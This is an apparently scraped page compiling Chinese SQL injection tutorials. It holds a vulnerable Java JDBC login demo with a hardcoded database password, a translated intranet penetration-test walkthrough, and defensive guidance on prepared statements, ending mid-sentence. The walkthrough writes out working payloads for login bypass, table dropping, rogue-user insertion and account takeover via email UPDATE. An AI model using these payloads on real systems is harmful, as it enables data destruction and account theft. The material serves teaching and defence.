精华内容
下载资源
问答
  • Java-JDBC-SQL注入攻击实例及反注入攻击
    2021-01-27 01:20:23

    packagecn.bruce.MySql;importjava.sql.Connection;importjava.sql.DriverManager;importjava.sql.PreparedStatement;importjava.sql.ResultSet;importjava.sql.Statement;importjava.util.Scanner;public classLOGON {public static voidmain(String[] args) {

    String usename, password, url, sql, jdbc, sname, spass;

    Connection con= null;

    usename= "root";

    password= "jinqi1986";

    url= "jdbc:mysql://localhost:3306/mytrain?useSSL=false&serverTimezone=CTT";//url =//"jdbc:mysql://localhost:3306/mytrain?useSSL=false&serverTimezone=CTT";

    sql = "select * from users ";

    jdbc= "com.mysql.cj.jdbc.Driver";//加载驱动

    try{

    Class.forName(jdbc);

    System.out.println("加载驱动成功!");

    }catch(Exception e)

    {

    System.out.println("加载驱动失败!");

    }//连接数据库

    try{

    con=DriverManager.getConnection(url, usename, password);

    System.out.println("连接数据库成功!");

    }catch(Exception e)

    {

    System.out.println("连接数据库失败!");

    }//执行SQL语句-注入攻击实例

    try{

    Statement sa=con.createStatement();

    Scanner sc= newScanner(System.in);//用户名和密码可以随便输

    System.out.println("请输入用户名:");

    String n=sc.nextLine();//只要密码输入里有'or' 1=1就可以进行SQL漏洞攻击

    System.out.println("请输入密码:");

    String p=sc.nextLine();

    sql= "select * from users where zusename = '" + n + "' and zpassword = '" + p + "';";

    System.out.println(sql);

    ResultSet rs=sa.executeQuery(sql);while(rs.next())

    {

    System.out.println("用户名:" + rs.getString("zusename") + " " + "密码:" + rs.getString("zpassword"));

    }

    }catch(Exception e)

    {

    e.printStackTrace();

    }//执行SQL语句-使用预编译实例--推荐使用这种使用方法

    try{

    Scanner sc= newScanner(System.in);

    System.out.println("请输入用户名:");

    String n=sc.nextLine();

    System.out.println("请输入密码:");

    String p=sc.nextLine();//sql语句中的参数全部采用?进行占位

    sql = "select * from users where zusename = ? and zpassword = ?";

    PreparedStatement ps= con.prepareStatement(sql);//预编译//使用ps的set方法进行参数的赋值

    ps.setString(1, n);

    ps.setString(2, p);

    System.out.println(sql);

    ResultSet rs= ps.executeQuery();//参数不需要SQL

    while(rs.next())

    {

    System.out.println("用户名:" + rs.getString("zusename") + " " + "密码:" + rs.getString("zpassword"));

    }

    rs.close();//关rs

    } catch(Exception e)

    {

    e.printStackTrace();

    }finally{try{

    con.close();//关连接

    } catch(Exception e2)

    {

    e2.printStackTrace();

    }

    }

    }

    }

    更多相关内容
  • SQL注入攻击实例

    万次阅读 2016-05-26 15:17:49
    这是安全评估的一个部分,所以尽管我们之前没有使用过SQL注入来渗透网络,但对其概念也相当熟悉了。最后我们在这项任务中大获成功,现在来回顾一下这个过程的每一步,将它记录为一个案例。 我们记录下了在...

    一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试。这是安全评估的一个部分,所以尽管我们之前没有使用过SQL注入来渗透网络,但对其概念也相当熟悉了。最后我们在这项任务中大获成功,现在来回顾一下这个过程的每一步,将它记录为一个案例。


    我们记录下了在多次错误的转折后经历的曲折过程,而一个更有经验的人会有这不同的 — 甚至更好的 — 方法。但事实上我们成功以后才明白,我们并没有完全被误导。

    其他的SQL文章包含了更多的细节,但是这篇文章不仅展示了漏洞利用的过程,还讲述了发现漏洞的原理。

    目标内网

    展现在我们眼前的是一个完整定制网站,我们之前没见过这个网站,也无权查看它的源代码:这是一次“黑盒”攻击。‘刺探’结果显示这台服务器运行在微软的IIS6上,并且是ASP.NET架构。这就暗示我们数据库是微软的SQL server:我们相信我们的技巧可以应用在任何web应用上,无论它使用的是哪种SQL 服务器。

    登陆页有传统的用户-密码表单,但多了一个 “把我的密码邮给我”的链接;后来,这个地方被证实是整个系统陷落的关键。

    当键入邮件地址时,系统假定邮件存在,就会在用户数据库里查询邮件地址,然后邮寄一些内容给这个地址。但我的邮件地址无法找到,所以它什么也不会发给我。

    对于任何SQL化的表单而言,第一步测试,是输入一个带有单引号的数据:目的是看看他们是否对构造SQL的字符串进行了过滤。当把单引号作为邮件地址提交以后,我们得到了500错误(服务器错误),这意味着“有害”输入实际上是被直接用于SQL语句了。就是这了!

    我猜测SQL代码可能是这样:

    [sql]  view plain copy
    1. SELECT fieldlist  
    2.   FROM table  
    3.  WHERE field = '$EMAIL';  

    $EMAIL 是用户从表单提交的地址,并且这段查询在字符串末端$EMAIL上提供了引号。我们不知道字段或表的确切名字,但是我们了解他们的本质,这有助于我们做正确的猜测。

    当我们键入 steve@unixwiz.net‘ -注意这个末端的引号 – 下面是这个SQL字段的构成:

    [sql]  view plain copy
    1. SELECT fieldlist  
    2.   FROM table  
    3.  WHERE field = 'steve@unixwiz.net'';  

    当这段SQL开始执行,SQL解析器就会发现多余的引号然后中断执行,并给出语法错误的提示。这个错误如何清楚的表述给用户,基于应用内部的错误恢复规程,但一般来说都不会提示“邮件地址不存在”。这个错误响应成了死亡之门,它告诉别人用户输入没有被正确的处理,这就为应用破解留下了可乘之机。

    这个数据呈现在WHERE的从句中,让我们以符合SQL规范的方式改变输入试试,看看会发生什么。键入anything’ OR ‘x’=‘x, 结果如下:

    [sql]  view plain copy
    1. SELECT fieldlist FROM table WHERE field = 'anything' OR 'x'='x';  

    因为应用不会思考输入 – 仅仅构造字符串 - 我们使用单引号把WHERE从句的单一组成变成了双组成,’x'=‘x从句是恒成立的,无论第一个从句是什么。(有一种更好的方式来确保“始终为真”,我们随后会接触到)。

    但与每次只返回单一数据的“真实”查询不同,上面这个构造必须返回这个成员数据库的所有数据。要想知道在这种情况下应用会做什么,唯一的方法就是尝试,尝试,再尝试。我们得到了这个:


    你的登录信息已经被邮寄到了 random.person@example.com.


    我们猜测这个地址是查询到的第一条记录。这个家伙真的会在这个邮箱里收到他忘记的密码,想必他会很吃惊也会引起他的警觉。

    我们现在知道可以根据自己的需要来篡改查询语句了,尽管对于那些看不到的部分还不够了解,但是我们注意到了在多次尝试后得到了三条不同的响应:

    • “你的登录信息已经被邮寄到了邮箱”
    • “我们不能识别你的邮件地址”
    • 服务器错误

    前两个响应是有效的SQL,最后一个响应是无效的SQL:当猜测查询语句结构的时候,这种区别非常有用。

    模式字段映射

    第一步是猜测字段名:我们合理的推测了查询包含“email address”和“password”,可能也会有“US Mail address”或者“userid”或“phone number”这样的字段。我们特别想执行 SHOW TABLE语句, 但我们并不知道表名,现在没有比较明显的办法可以拿到表名。

    我们进行了下一步。在每次测试中,我们会用我们已知的部分加上一些特殊的构造语句。我们已经知道这个SQL的执行结果是email地址的比对,因此我们来猜测email的字段名:

    [sql]  view plain copy
    1. SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL--';  

    目的是假定的查询语句的字段名(email),来试试SQL是不是有效。我不关心匹配的邮件地址是啥(我们用了个伪名’x’), ——’这个符号表示SQL注释的起始。对于去除应用末尾提供的引号,这是一个很有效的方式,我们不用在乎我们屏蔽掉的是啥。

    如果我们得到了服务器错误,意味着SQL有不恰当的地方,并且语法错误会被抛出:更有可能是字段名有错。如果我们得到了任何有效的响应,我们就可以猜测这个字段名是正确的。这就是我们得到“email unknown”或“password was sent”响应的过程。

    我们也可以用AND连接词代替OR:这是有意义的。在SQL的模式映射阶段,我们不需要为猜一个特定的邮件地址而烦恼,我们也不想应用随机的泛滥的给用户发“这是你的密码”的邮件 - 这不太好,有可能引起怀疑。而使用AND连接邮件地址,就会变的无效,我们就可以确保查询语句总是返回0行,永远不会生成密码提醒邮件。

    提交上面的片段的确给了我们“邮件地址未知”的响应,现在我们知道邮件地址的确是存储在email字段名里。如果没有生效,我们可以尝试email_address或mail这样的字段名。这个过程需要相当多的猜测。

    接下来,我们猜测其他显而易见的名字:password,user ID, name等等。每次只猜一个字段,只要响应不是“server failure”,那就意味着我们猜对了。

    [sql]  view plain copy
    1. SELECT fieldlist FROM table WHERE email = 'x' AND userid IS NULL--';  

    在这个过程中,我们找到了几个正确的字段名:

    • email
    • passwd
    • login_id
    • full_name

    无疑还有更多(有一个线索是表单中的字段名),一阵挖掘后没有发现更多了。但是我们依然不知道这些字段名的表名,它们在哪找到的?

    寻找数据库表名

    应用的内建查询指令已经建立了表名,但是我们不知道是啥:有几个方法可以找到表名。其中一个是依靠subselect(字查询)。

    一个独立的查询

    [sql]  view plain copy
    1. SELECT COUNT(*) FROM tabname  

    返回表里记录的数量,如果表名无效,查询就会失败。我们可以建立自己的字符串来探测表名:

    [sql]  view plain copy
    1. SELECT email, passwd, login_id, full_name  
    2.   FROM table  
    3.  WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';  

    我们不关心到底有多少条记录,只关心表名是不是正确。重复多次猜测以后,我们终于发现members是这个数据库里的有效表名。但它是用在这个查询里的么?所以我们需要另一个测试,使用table.field:实际查询的部分只工作在这个表中,而不是只要表存在就执行。

    [sql]  view plain copy
    1. SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'  
    2.                     AND members.email IS NULL--';  

    当返回“Email unknown”时,就意味着我们的SQL注入成功了,并且我们正确的猜测出了表名。这对后面的工作很重要,但是我们暂时先试试其他的方法。

    找用户账号

    我们对members表的结构有了一个局部的概念,但是我们仅知道一个用户名:任意用户都可能得到“Here is your password”的邮件。回想起来,我们从未得到过信息本身,只有它发送的地址。我们得再弄几个用户名,这样就能得到更多的数据。

    首先,我们从公司网站开始找几个人:“About us”或者“Contact”页通常提供了公司成员列表。通常都包含邮件地址,即使它们没有提供这个列表也没关系,我们可以根据某些线索用我们的工具找到它们。

    LIKE从句可以进行用户查询,允许我们在数据库里局部匹配用户名或邮件地址,每次提交如果显示“We sent your password”的信息并且邮件也真发了,就证明生效了。

    警告:这么做拿到了邮件地址,但也真的发了邮件给对方,这有可能引起怀疑,小心使用。

    我们可以查询email name或者full name(或者推测出来的其他信息),每次放入%通配符进行如下查询:

    [sql]  view plain copy
    1. SELECT email, passwd, login_id, full_name  
    2.   FROM members  
    3.  WHERE email = 'x' OR full_name LIKE '%Bob%';  

    记住尽管可能不只有一个“Bob”,但我们只能看到一条信息:建议精炼LIKE从句。

    密码暴力破解

    可以肯定的是,我们能在登陆页进行密码的暴力破解,但是许多系统都针对此做了监测甚至防御。可能有的手段有操作日志,帐号锁定,或者其他能阻碍我们行动的方式,但是因为存在未过滤的输入,我们就能绕过更多的保护措施。

    我们在构造的字符串里包含进邮箱名和密码来进行密码测试。在我们的例子中,我们用了受害者bob@example.com 并尝试了多组密码。

    [sql]  view plain copy
    1. SELECT email, passwd, login_id, full_name FROM members WHERE email = '<a  
    2.                         href="mailto:bob@example.com">bob@example.com</a>' AND passwd  
    3.                         = 'hello123';  

    这是一条很好使的SQL语句,我们不会得到服务器错误的提示,只要我们得到“your password has been mailed to you”的提示信息,就证明我们已经得到密码了。这时候受害人可能会警觉起来,但谁关心他呢,我们已经得到密码了。

    这个过程可以使用perl脚本自动完成,然而,我们在写脚本的过程中,发现了另一种方法来破解系统。

    数据库不是只读的

    迄今为止,我们没做查询数据库之外的事,尽管SELECT是只读的,但不代表SQL只能这样。SQL使用分号表示结束,如果输入没有正确过滤,就没有什么能阻止我们在字符串后构造与查询无关的指令。

    The most drastic example is:

    这剂猛药是这样的:

    [sql]  view plain copy
    1. SELECT email, passwd, login_id, full_name  
    2.   FROM members  
    3.  WHERE email = 'x'DROP TABLE members; --';  -- Boom!  

    第一部分我们准备了一个伪造的email地址——‘X’——我们不关心查询结果返回什么:我们想要得到的只是我们自己构造的SQL指令。这次攻击删除了整个members表,这就不太好玩了。

    这表明我们不仅仅可以切分SQL指令,而且也可以修改数据库。这是被允许的。

    添加新用户

    我们已经了解了members表的局部结构,添加一条新纪录到表里视乎是一个可行的方法:如果这成功了,我们就能简单的用我们新插入的身份登陆到系统了。

    不要太惊讶,这条SQL有点长,我们把它分行显示以便于理解,但它依然是一条语句:

    [sql]  view plain copy
    1. SELECT email, passwd, login_id, full_name  
    2.   FROM members  
    3.  WHERE email = 'x';  
    4.         INSERT INTO members ('email','passwd','login_id','full_name')   
    5.         VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--';  

    即使我们得到了正确的字段名和表名,但在成功攻击之前我们还有几件事需要了解:

    1. 在web表单里,我们可能没有足够的空间键入这么多文本(尽管可以用脚本解决,但并不容易)。
    2. web应用可能没有members表的INSERT权限。
    3. 母庸置疑,members表里肯定还有其他字段,有一些可能需要初始值,否则会引起INSERT失败。
    4. 即使我们插入了一条新纪录,应用也可能不正常运行,因为我们无法提供值的字段名会自动插入NULL。
    5. 一个正确的“member”可能额不仅仅只需要members表里的一条纪录,而还要结合其他表的信息(如,访问权限),因此只添加一个表可能不够。

    在这个案例里,我们遇到了问题#4或#5,我们无法确定到底是哪个—— 因为用构造好的用户名登陆进去的时候,返回了服务器错误的提示。尽管这就暗示了我们那些没有构造的字段是必须的,但我们没有办法正确处理。

    一个可行的办法是猜测其他字段,但这是一个劳力费神的过程:尽管我们可以猜测其他“显而易见”的字段,但要想得到整个应用的组织结构图太难了。

    我们最后尝试了其他方式。

    把密码邮给我

    我们意识到虽然我们无法添加新纪录到members数据库里,但我们可以修改已经存在的,这被证明是可行的。

    从上一步得知 bob@example.com 账户在这个系统里,我们用SQL注入把数据库中的这条记录改成我们自己的email地址:

    [sql]  view plain copy
    1. SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x';  
    2.                             UPDATE members SET email = <a href="mailto:'steve@unixwiz.net">'steve@unixwiz.net</a>'  
    3.                             WHERE email = <a href="mailto:'bob@example.com">'bob@example.com</a>';  

    运行之后,我们自然得到了“we didn’t know your email address”的提示,但这在预料之中,毕竟我们用了假的email地址。UPDATE操作不会通知应用,因此它悄然执行了。

    之后,我们使用了“I lost my password”的功能,用我们刚刚更新的email地址,一分钟后,我们收到了这封邮件:

    [sql]  view plain copy
    1. From: <a href="mailto:system@example.com">system@example.com</a>  
    2.                                 To: <a href="mailto:steve@unixwiz.net">steve@unixwiz.net</a>  
    3.                                 Subject: Intranet login This email is in response to your request for your  
    4.                                 Intranet log in information. Your User ID is: bob Your password is: hello  

    现在,我们要做的就是跟随标准的登录流程进入系统,这是一个高等级职员,有高级权限,比我们INSERT的用户要好。

    我们发现这个企业内部站点内容特别多,甚至包含了一个全用户列表,我们可以合理的推出许多内网都有同样的企业Windows网络帐号,它们可能在所有地方都使用同样的密码。我们很容易就能得到任意的内网密码,并且我们找到了企业防火墙上的一个开放的PPTP协议的VPN端口,这让登录测试变得更简单。

    我们又挑了几个帐号测试都没有成功,我们无法知道是否是“密码错误”或者“企业内部帐号是否与Windows帐号名不同”。但是我们觉得自动化工具会让这项工作更容易。

    其他方法

    在这次特定的渗透中,我们得到了足够的权限,我们不需要更多了,但是还有其他方法。我们来试试我们现在想到的但不够普遍的方法。

    我们意识到不是所有的方法都与数据库无关,我们可以来试试。

    调用xp_cmdshell

    微软的SQLServer支持存储过程xp_cmdshell有权限执行任意操作系统指令。如果这项功能允许web用户使用,那webserver被渗透是无法避免的。

    迄今为止,我们做的都被限制在了web应用和数据库这个环境下,但是如果我们能执行任何操作系统指令,再厉害的服务器也禁不住渗透。xp_cmdshell通常只有极少数的管理员账户才能使用,但它也可能授权给了更低级的用户。

    绘制数据库结构

    在这个登录后提供了丰富功能应用上,已经没必要做更深的挖掘了,但在其他限制更多的环境下可能还不够。

    能够系统的绘制出数据库可见结构,包含表和它们的字段结构,可能没有直接帮助。但是这为网站渗透提供了一条林萌大道。

    从网站的其他方面收集更多有关数据结构的信息(例如,“留言板”页?“帮助论坛”等?)。不过这对应用环境依赖强,而且还得靠你准确的猜测。

    减轻危害

    我们认为web应用开发者通常没考虑到“有害输入”,但安全人员应该考虑到(包括坏家伙),因此这有3条方法可以使用。

    输入过滤

    过滤输入是非常重要的事,以确保输入不包含危险代码,无论是SQL服务器或HTM本身。首先想到的是剥掉“恶意字符”,像引号、分号或转义符号,但这是一种不太好的方式。尽管找到一些危险字符很容易,但要把他们全找出来就难了。

    web语言本身就充满了特殊字符和奇怪的标记(包括那些表达同样字符的替代字符),所以想要努力识别出所有的“恶意字符”不太可能成功。

    换言之,与其“移除已知的恶意数据”,不如移除“良好数据之外的所有数据”:这种区别是很重要的。在我们的例子中,邮件地址仅能包含如下字符:

    [text]  view plain copy
    1. abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789 @.-_+  

    允许不正确的字符输入是没有任何好处的,应该早点拒绝它们 - 可能会有一些错误信息 – 不仅可以阻止SQL注入,也可以捕获一些输入错误而不是把它们存入数据库。

    某个特殊的email地址会让验证程序陷入麻烦,因为每个人对于“有效”的定义不同。由于email地址中出现了一个你没有考虑到的字符而被拒绝,那真是糗大了。

    真正的权威是 RFC 2822(比RFC822内容还多),它对于”允许使用的内容“做了一个规范的定义。这种更学术的规范希望可以接受&和*(还有更多)作为有效的email地址,但其它人 - 包括作者 – 都乐于用一个合理的子集来包含更多的email地址。

    那些采用更限制方法的人应当充分意识到没有包含这些地址会带来的后果,特别是限制有了更好的技术(预编译/执行,存储过程)来避免这些“奇怪”的字符带来的安全问题。

    意识到“过滤输入”并不意味着仅仅是“移除引号”,因为即使一个“正规”的字符也会带来麻烦。在下面这个例子中,一个整型ID值被拿来和用户的输入作比较(数字型PIN):

    [sql]  view plain copy
    1. SELECT fieldlist FROM table WHERE id = 23 OR 1=1; -- Boom! Always matches!  

    在实践中,无论如何这个方法都有诸多限制,因为能够彻底排除所有危险字符的字段实在太少了。对于“日期”或者“email地址”或者“整型”,上面的办法是有价值的,但对于真实的环境,我们不可避免地要使用其他方式来减轻危害。

    输入项编码/转义

    现在可以过滤电话号码和邮件地址了,但你不能通过同样的方法处理“name”字段,要不然可能会排除掉Bill O’Reilly这样的名字:对于这个字段,这里的引号是合法的输入。

    有人就想到过滤到单引号的时候,再加上一个引号,这样就没问题了 – 但是这么干要出事啊!

    预处理每个字符串来替换单引号:

    [sql]  view plain copy
    1. SELECT fieldlist  
    2.   FROM customers  
    3.  WHERE name = 'Bill O''Reilly';  -- works OK  

    这个方法很容易出问题,因为大部分数据库都支持转码机制。像MySQL,允许输入’来替代单引号,因此如果输入 ‘; DROP TABLE users;  时,通过两次引号来“保护”数据库,那我们将得到:

    [sql]  view plain copy
    1. SELECT fieldlist  
    2.   FROM customers  
    3.  WHERE name = '\''DROP TABLE users; --';  -- Boom!  

    ‘’’ 是一个完整的SQL语句(只包含一个引号),通常,恶意SQL代码就会紧跟其后。不光是反斜线符号的情况:像Unicode编码,其他的编码或者解析规则都会无意中给程序员挖坑。完美的过滤的很困难的,这就是为什么许多的数据库借口语言都提供函数给你使用。当同样的内容给“string quoting”和“string parsing”处理过后,会好一些,也更安全一些。

    比如MySQL的函数mysql_real_escape_string()和perl DBD 的 $dbh->quote($value)方法,这些方法都是必用的。

    参数绑定 (预编译语句)

    尽管转义是一个有用的机制,但我们任然处于“用户输入被当做SQL语句”这么一个循环里。更好的方法是:预编译,本质上所有的数据库编程接口都支持预编译。技术上来说,SQL声明语句是用问号给每个参数占位创建的 – 然后在内部表中进行编译。

    预编译查询执行时是按照参数列表来的:

    Perl中的例子

    [sql]  view plain copy
    1. $sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");  
    2.   
    3. $sth->execute($email);  

    感谢Stefan Wagner帮我写了个java实现:

    不安全版

    [sql]  view plain copy
    1. Statement s = connection.createStatement();  
    2. ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "  
    3.                              + formField); // *boom*  

    安全版

    [sql]  view plain copy
    1. PreparedStatement ps = connection.prepareStatement(  
    2.     "SELECT email FROM member WHERE name = ?");  
    3. ps.setString(1, formField);  
    4. ResultSet rs = ps.executeQuery();  

    $email 是从用户表单获得的,它作为#1(第一个问号标记的地方)位置的参数传递过来,在任何情况下这条SQL声明都可以解析。引号,分号,反斜杠,SQL指令记号 – 任何字符都不会产生特殊效果,因为它们“只是数据”而已。这不会对其他东西造成破坏,因此这个应用很大程度上防范了SQL注入攻击。

    如果预编译查询语句多次(只编译一次)执行,也会带来性能上的提升,但是与大量安全方面的巨大提升相比,这显得微不足道。这可能是我们保证web应用安全最重要的一步。

    限制数据库权限和隔离用户

    在这个案例中,我们观察到只有两个交互动作不在登录用户的上下文环境中:“登录”和“发密码给我”。web应用应该对数据库连接做权限的限制:对于members表只能读,并且无法操作其他表。

    作用是即使一次“成功的”SQL注入攻击也只能得到非常有限的成功。噢,我们将不能做有授权的UPDATE请求,我们要求助于其他方法。

    一旦web应用确定登录表单传递来的认证是有效的,它就会切换会话到一个有更多权限的用户上。

    对任何web应用而言,不使用sa权限几乎是根本不用说的事。

    对数据库的访问采用存储过程

    如果数据库支持存储过程,请使用存储过程来执行数据库的访问行为,这样就不需要SQL了(假设存储过程编程正确)。

    把查询,更新,删除等动作规则封装成一个单独的过程,就可以针对基础规则和所执行的商业规则来完成测试和归档(例如,如果客户超过了信用卡限额,“添加新记录”过程可能拒绝订单)。

    对于简单的查询这样做可能仅仅能获得很少的好处,不过一旦操作变复杂(或者被用在更多地方),给操作一个单独的定义,功能将会变得更稳健也更容易维护。

    注意:动态构建一个查询的存储过程是可以做到的:这么做无法防止SQL注入 – 它只不过把预编译/执行绑定到了一起,或者是把SQL语句和提供保护的变量绑定到了一起。

    隔离Web服务器

    实施了以上所有的防御措施,仍然可能有某些地方有遗漏,导致了服务器被渗透。设计者应该在假定坏蛋已经获得了系统最高权限下来设计网络设施,然后把它的攻击对其他事情产生的影响限制在最小。

    例如,把这台机器放置在极度限制出入的DMZ网络“内部”,这么做意味着即便取得了web服务器的完全控制也不能自动的获得对其他一切的完全访问权限。当然,这么做不能阻止所有的入侵,不过它可以使入侵变的非常困难。

    配置错误报告

    一些框架的错误报告包含了开发的bug信息,这不应该公开给用户。想象一下:如果完整的查询被现实出来了,并且指出了语法错误点,那要攻击该有多容易。

    对于开发者来说这些信息是有用的,但是它应该禁止公开 – 如果可能 - 应该限制在内部用户访问。

    注意:不是所有的数据库都采用同样的方式配置,并且不是所有的数据库都支持同样的SQL语法(“S”代表“结构化”,不是“标准的”)。例如,大多数版本的MySQL都不支持子查询,而且通常也不允许单行多条语句(multiple statements):当你渗透网络时,实际上这些就是使问题复杂化的因素。


    再强调一下,尽管我们选择了“忘记密码”链接来试试攻击,但不是因为这个功能不安全。而是几个易攻击的点之一,不要把焦点聚集在“忘记密码”上。

    这个教学示例不准备全面覆盖SQL注入的内容,甚至都不是一个教程:它仅仅是一篇我们花了几小时做的渗透测试的记录。我们看了其他的关于SQL注入文章的讨论,但它们只给出了结果而没有给出过程。

    但是那些结果报告需要技术背景才能看懂,并且渗透细节也是有价值的。在没有源代码的情况下,渗透人员的黑盒测试能力也是有价值的。

    其他资源

    展开全文
  • SQL注入攻击详解

    2021-11-27 11:08:56
    SQL注入详解 一:什么是sql注入 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是...三:SQL注入攻击实例 String sql = "select * from user_table where username= ' "+userName+" ' an

    SQL注入详解
    一:什么是sql注入

    SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

    二:SQL注入攻击的总体思路

    1:寻找到SQL注入的位置

    2:判断服务器类型和后台数据库类型

    3:针对不同的服务器和数据库特点进行SQL注入攻击

    三:SQL注入攻击实例

    String sql = "select * from user_table where username=
    ' "+userName+" ' and password=' "+password+" '";
    --当输入了上面的用户名和密码,上面的SQL语句变成:
    SELECT * FROM user_table WHERE username=
    '’or 1 = 1 -- and password='--分析SQL语句:
    --条件后面username=”or 1=1 用户名等于 ” 或1=1 那么这个条件一定会成功;
    
    --然后后面加两个-,这意味着注释,它将后面的语句注释,让他们不起作用,这样语句永远都--能正确执行,用户轻易骗过系统,获取合法身份。
    --这还是比较温柔的,如果是执行
    SELECT * FROM user_table WHERE
    username='' ;DROP DATABASE (DB Name) -- and password=''
    --其后果可想而知…
    

    四:如何防御SQL注入

    注意:但凡有SQL注入漏洞的程序,都是因为程序要接受来自客户端用户输入的变量或URL传递的参数,并且这个变量或参数是组成SQL语句的一部分,对于用户输入的内容或传递的参数,我们应该要时刻保持警惕,这是安全领域里的「外部数据不可信任」的原则,纵观Web安全领域的各种攻击方式,大多数都是因为开发者违反了这个原则而导致的,所以自然能想到的,就是从变量的检测、过滤、验证下手,确保变量是开发者所预想的。

    1、检查变量数据类型和格式

    如果你的SQL语句是类似where id={$id}这种形式,数据库里所有的id都是数字,那么就应该在SQL被执行前,检查确保变量id是int类型;如果是接受邮箱,那就应该检查并严格确保变量一定是邮箱的格式,其他的类型比如日期、时间等也是一个道理。总结起来:只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去检查,确保变量是我们预想的格式,这样很大程度上可以避免SQL注入攻击。
      比如,我们前面接受username参数例子中,我们的产品设计应该是在用户注册的一开始,就有一个用户名的规则,比如5-20个字符,只能由大小写字母、数字以及一些安全的符号组成,不包含特殊字符。此时我们应该有一个check_username的函数来进行统一的检查。不过,仍然有很多例外情况并不能应用到这一准则,比如文章发布系统,评论系统等必须要允许用户提交任意字符串的场景,这就需要采用过滤等其他方案了。

    2、过滤特殊符号

    对于无法确定固定格式的变量,一定要进行特殊符号过滤或转义处理。

    3、绑定变量,使用预编译语句

    MySQL的mysqli驱动提供了预编译语句的支持,不同的程序语言,都分别有使用预编译语句的方法

    实际上,绑定变量使用预编译语句是预防SQL注入的最佳方式,使用预编译的SQL语句语义不会发生改变,在SQL语句中,变量用问号?表示,黑客即使本事再大,也无法改变SQL语句的结构

    五:什么是sql预编译

    1.1:预编译语句是什么

    通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:

    词法和语义解析
      优化sql语句,制定执行计划
      执行并返回结果
      我们把这种普通语句称作Immediate Statements。

    但是很多情况,我们的一条sql语句可能会反复执行,或者每次执行的时候只有个别的值不同(比如query的where子句值不同,update的set子句值不同,insert的values值不同)。
      如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。

    所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements
      预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止sql注入。
      当然就优化来说,很多时候最优的执行计划不是光靠知道sql语句的模板就能决定了,往往就是需要通过具体值来预估出成本代价。

    1.2:MySQL的预编译功能

    注意MySQL的老版本(4.1之前)是不支持服务端预编译的,但基于目前业界生产环境普遍情况,基本可以认为MySQL支持服务端预编译。

    下面我们来看一下MySQL中预编译语句的使用。

    1)建表 首先我们有一张测试表t,结构如下所示:
    mysql> show create table t\G
    *************************** 1. row ***************************
           Table: t
    Create Table: CREATE TABLE `t` (
      `a` int(11) DEFAULT NULL,
      `b` varchar(20) DEFAULT NULL,
      UNIQUE KEY `ab` (`a`,`b`)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8
    (2)编译
    
      我们接下来通过 PREPARE stmt_name FROM preparable_stm的语法来预编译一条sql语句
    
    mysql> prepare ins from 'insert into t select ?,?';
    Query OK, 0 rows affected (0.00 sec)
    Statement prepared
     (3)执行
    
      我们通过EXECUTE stmt_name [USING @var_name [, @var_name] ...]的语法来执行预编译语句
      
    mysql> set @a=999,@b='hello';
    Query OK, 0 rows affected (0.00 sec)
     
    mysql> execute ins using @a,@b;
    Query OK, 1 row affected (0.01 sec)
    Records: 1  Duplicates: 0  Warnings: 0
     
    mysql> select * from t;
    +------+-------+
    | a    | b     |
    +------+-------+
    |  999 | hello |
    +------+-------+
    1 row in set (0.00 sec)
    

    可以看到,数据已经被成功插入表中。

    MySQL中的预编译语句作用域是session级,但我们可以通过max_prepared_stmt_count变量来控制全局最大的存储的预编译语句。

    mysql> set @@global.max_prepared_stmt_count=1;
    Query OK, 0 rows affected (0.00 sec)
     
    mysql> prepare sel from 'select * from t';
    ERROR 1461 (42000): Can't create more than max_prepared_stmt_count statements (current value: 1)
    

    当预编译条数已经达到阈值时可以看到MySQL会报如上所示的错误。

    (4)释放
      如果我们想要释放一条预编译语句,则可以使用{DEALLOCATE | DROP} PREPARE stmt_name的语法进行操作:在这里插入代码片

    mysql> deallocate prepare ins;
    Query OK, 0 rows affected (0.00 sec)
    

    六:为什么PrepareStatement可以防止sql注入

    原理是采用了预编译的方法,先将SQL语句中可被客户端控制的参数集进行编译,生成对应的临时变量集,再使用对应的设置方法,为临时变量集里面的元素进行赋值,赋值函数setString(),会对传入的参数进行强制类型检查和安全检查,所以就避免了SQL注入的产生。下面具体分析

    (1):为什么Statement会被sql注入

    因为Statement之所以会被sql注入是因为SQL语句结构发生了变化。比如:

    “select*from tablename where username=’”+uesrname+
    “‘and password=’”+password+"’"
      在用户输入’or true or’之后sql语句结构改变。

    select*from tablename where username=’‘or true or’’ and password=’’
      这样本来是判断用户名和密码都匹配时才会计数,但是经过改变后变成了或的逻辑关系,不管用户名和密码是否匹配该式的返回值永远为true;

    (2)为什么Preparement可以防止SQL注入。

    因为Preparement样式为

    select*from tablename where username=? and password=?
    

    该SQL语句会在得到用户的输入之前先用数据库进行预编译,这样的话不管用户输入什么用户名和密码的判断始终都是并的逻辑关系,防止了SQL注入

    简单总结,参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑,至于跑的时候是带一个普通背包还是一个怪物,不会影响行进路线,无非跑的快点与慢点的区别

    七:mybatis是如何防止SQL注入的

    1、首先看一下下面两个sql语句的区别:

    <select id="selectByNameAndPassword" parameterType="java.util.Map" resultMap="BaseResultMap">
    select id, username, password, role
    from user
    where username = #{username,jdbcType=VARCHAR}
    and password = #{password,jdbcType=VARCHAR}
    </select>
    
    <select id="selectByNameAndPassword" parameterType="java.util.Map" resultMap="BaseResultMap">
